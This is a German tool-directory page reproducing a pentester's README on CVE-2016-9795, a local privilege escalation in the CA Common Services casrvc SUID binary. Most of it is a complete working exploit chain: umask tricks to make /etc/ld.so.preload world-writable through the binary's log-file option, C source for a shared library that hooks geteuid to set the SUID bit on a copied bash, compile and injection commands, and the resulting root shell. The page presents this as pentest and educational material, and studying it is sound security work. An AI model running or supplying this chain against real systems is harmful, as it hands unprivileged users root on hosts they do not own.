Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CA-Common-Services-privilege-escalation-cve-2016-9795-revisited — Überarbeitete CVE-2016-9795 Privilege Escalation (casrvc-Binärdatei aus der CA Common Services Suite) | Kitploit
Tools/GitHubGitHub/blogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungBinary-Exploitation
GitHubblogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited

CA-Common-Services-privilege-escalation-cve-2016-9795-revisited

Überarbeitete CVE-2016-9795 Privilege Escalation (casrvc-Binärdatei aus der CA Common Services Suite)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 5 JahrenNoch nicht geprüft

CA Common Services Privilege Escalation (CVE-2016-9795) erneut betrachtet

Beschreibung

Bei einem meiner Pentests stieß ich auf die casrvc SUID-Binärdatei (die Teil der CA Common Services Suite ist). Wie ich herausfand, ist die Binärdatei anfällig für lokale Privilegieneskalation. Tatsächlich wurde dieser Schwachstelle von der NCC Group bereits eine öffentliche CVE (CVE-2016-9795) zugewiesen. Die Schwachstelle ist wirklich trivial, und wie ich später erfuhr, veröffentlichte die NCC Group einen Proof-of-Concept in ihrem PDF-Advisory (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). Dennoch entschied ich mich während meines Pentest-Einsatzes für einen anderen Exploitation-Pfad, der zunächst eine praktikable Alternative darstellt und möglicherweise weniger riskant ist, wenn er korrekt ausgeführt wird.

Schwachstelle

Die Schwachstelle liegt in der casrvc SUID-Binärdatei, die eine Funktion bereitstellt, die es dem Benutzer erlaubt, den Dateinamen (und den absoluten Pfad) zu wählen, in den Logs geschrieben werden. Ein Teil dieser Logdatei wird vom Benutzer kontrolliert, sodass der unprivilegierte Benutzer letztendlich einen mehr oder weniger kontrollierten beliebigen Schreibzugriff erhält.

Beliebiger Schreibzugriff auf Ausgabedatei

/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"

Logausgabe

root@kitploit:~
[...]

2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**

Der bereits existierende PoC hängt einfach die Logausgabe an die Datei /etc/passwd an, um einen weiteren Benutzereintrag in der root-Gruppe hinzuzufügen. Das Anhängen von Inhalten an /etc/passwd kann manchmal riskant sein, und in meinem Fall wollte ich um jeden Preis vermeiden, den Server zum Absturz zu bringen.

Exploitation

Die Exploitation-Technik ist nicht neu und wurde von vielen anderen Forschern behandelt (einschließlich @dawid_golunski, @itm4n). Sie ist auf diese Binärdatei anwendbar, und ich spreche hier darüber zu Bildungszwecken.

Konzept

Es besteht darin, die Datei /etc/ld.so.preload zu erweitern oder zu erstellen. Diese Datei ermöglicht es, wie im Linux-Handbuch man ld.so beschrieben, eine Liste von Bibliotheksnamen (einer pro Zeile) zu definieren, die jedes Mal geladen werden, wenn eine Binärdatei gestartet wird.

root@kitploit:~
/etc/ld.so.preload
              File containing a whitespace-separated list of ELF shared objects to be  loaded  before
              the  program.   See  the  discussion  of  LD_PRELOAD  above.   If  both  LD_PRELOAD and
              /etc/ld.so.preload are employed, the libraries specified by  LD_PRELOAD  are  preloaded
              first.  /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
              be preloaded for all programs that are executed on the system.  (This is usually  unde‐
              sirable,  and is typically employed only as an emergency remedy, for example, as a tem‐
              porary workaround to a library misconfiguration issue.)

Die Besonderheit dieser Datei ist, dass die vorgeladenen Bibliotheken für JEDES auf dem System ausgeführte Programm geladen werden, einschließlich SUID-Programmen. Dies ist natürlich nicht der Fall für die Umgebungsvariable "LD_PRELOAD", die von jedem Benutzer gesetzt werden kann, um Bibliotheken im Kontext ihrer Sitzung vorzuladen.

Exploit

Beliebiger Schreibzugriff

Um den Inhalt der erstellten Datei vollständig zu kontrollieren, verwenden wir den Befehl umask, um die Dateimodus-Erstellungsmaske zu setzen. Auf diese Weise hat die Logdatei beim Erstellen Lese- und Schreibrechte für alle.

root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov  4 15:44 /etc/ld.so.preload
Hinweis

Wir versuchen, den Inhalt der Datei ziemlich schnell zu löschen, da der Inhalt nach dem Ausführen der casrvc-Binärdatei keine gültigen .so-Bibliotheken enthält und jedes Mal Fehlermeldungen erzeugt, wenn ein Programm auf dem Computer gestartet wird.

Hinweis zu umask

In unserem Fall funktioniert der Trick mit umask. Manchmal setzen ausführbare Dateien jedoch selbst den umask-Wert, in welchem Fall unser umask-Wert überschrieben und ignoriert wird.

Erstellung der .so-Bibliotheksdatei

Als nächstes erstellen wir eine .so-Datei. Folgendes ist der Quellcode für diese .so-Datei. Sie tut drei Dinge:

  • überschreibt die Systemfunktion geteuid
  • fügt einfach das SUID-Bit zur Binärdatei an unserem gewünschten Ort hinzu (in diesem Fall "/tmp/root_shell")
  • dann entfernt sie die Datei ld.so.preload und fährt mit der normalen Ausführung der ursprünglichen geteuid-Funktion fort
root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("/tmp/root_shell", 0, 0);
    chmod("/tmp/root_shell", 06777);
    unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}

Um sie zu kompilieren, führen wir einfach aus

root@kitploit:~
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
Hinweis

In den vorherigen Befehlen gehen wir davon aus, dass die Partition /tmp weder mit NOEXEC noch mit NOSUID eingehängt ist.

Alles zusammensetzen

  1. Wir kopieren die /bin/bash-Binärdatei an unseren gewünschten Ort
root@kitploit:~
cp /bin/bash /tmp/root_shell
  1. Wir führen die casrvc-Binärdatei wie oben beschrieben aus, um Schreibrechte auf /etc/ld.so/preload zu erhalten
root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
  1. Wir kopieren den Pfad der kompilierten lib.so in die Datei /etc/ld.so.preload (wir haben jetzt bereits Schreibrechte darauf)
root@kitploit:~
echo /tmp/lib.so > /etc/ld.so.preload
  1. Wir führen ein beliebiges SUID-Programm aus, das die geteuid-Funktion aufruft (jedes SUID-Programm im Besitz von root sollte funktionieren, z.B. "sudo")
root@kitploit:~
sudo
  1. Freuen Sie sich über die Root-Shell
root@kitploit:~
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)

Referenzen

  • Nginx (Debian-basierte Distributionen + Gentoo) - 'logrotate' Lokale Privilegieneskalation
  • CVE-2019-19544 - CA Dollar Universe 5.3.3 'uxdqmsrv' - Privilegieneskalation über eine anfällige SUID-Binärdatei
Tool herunterladen